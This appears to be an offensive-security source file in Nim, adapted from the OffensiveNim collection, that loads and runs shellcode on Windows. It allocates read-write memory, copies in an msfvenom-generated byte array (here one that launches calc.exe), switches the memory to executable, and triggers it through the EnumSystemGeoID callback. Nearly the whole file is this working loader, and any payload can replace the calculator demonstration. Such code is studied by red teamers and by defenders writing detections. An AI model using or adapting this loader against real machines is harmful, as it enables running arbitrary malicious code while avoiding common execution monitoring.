CallbackExecution.nim

import winim/lean

#[

Code execution using callback function.
Source : https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_callback_bin.nim
Steps : 
1. Allocate memory in the current process as RW.
2. Write shellcode to the allocated memory.
3. Change memory protection to RX.
4. Using a callback function that points to the allocated memory (EnumSystemGeoID for example).

]#

# msfvenom -p windows/x64/exec CMD=calc.exe -f nim
var sc: array[276, byte] = [
byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,
0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,
0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,
0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,
0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,
0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,
0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,
0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,
0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,
0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,
0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,
0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,
0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,
0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,
0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,
0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,
0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,
0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,
0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,
0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,
0x00]


proc main(): void = 
    var allocatedMemory: LPVOID = VirtualAlloc(nil, sc.len, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
    if allocatedMemory == nil:
        echo "Failed to allocate memory"
        echo GetLastError()
        quit(1)
    echo "allocatedMemory: ", allocatedMemory.repr

    var bytesWritten: SIZE_T
    WriteProcessMemory(GetCurrentProcess(), allocatedMemory, cast[LPVOID](addr sc), sc.len, addr bytesWritten)
    if bytesWritten != sc.len:
        echo "Failed to write shellcode to allocated memory"
        echo GetLastError()
        quit(1)
    echo "Bytes written: ", bytesWritten

    var oldProtect: DWORD
    if VirtualProtect(allocatedMemory, sc.len, PAGE_EXECUTE_READ, addr oldProtect) == 0:
        echo "Failed to change memory protection"
        echo GetLastError()
        quit(1)
    echo "Memory protection changed to RX"

    EnumSystemGeoID(16, 0, cast[GEO_ENUMPROC](allocatedMemory))

when isMainModule:
    main()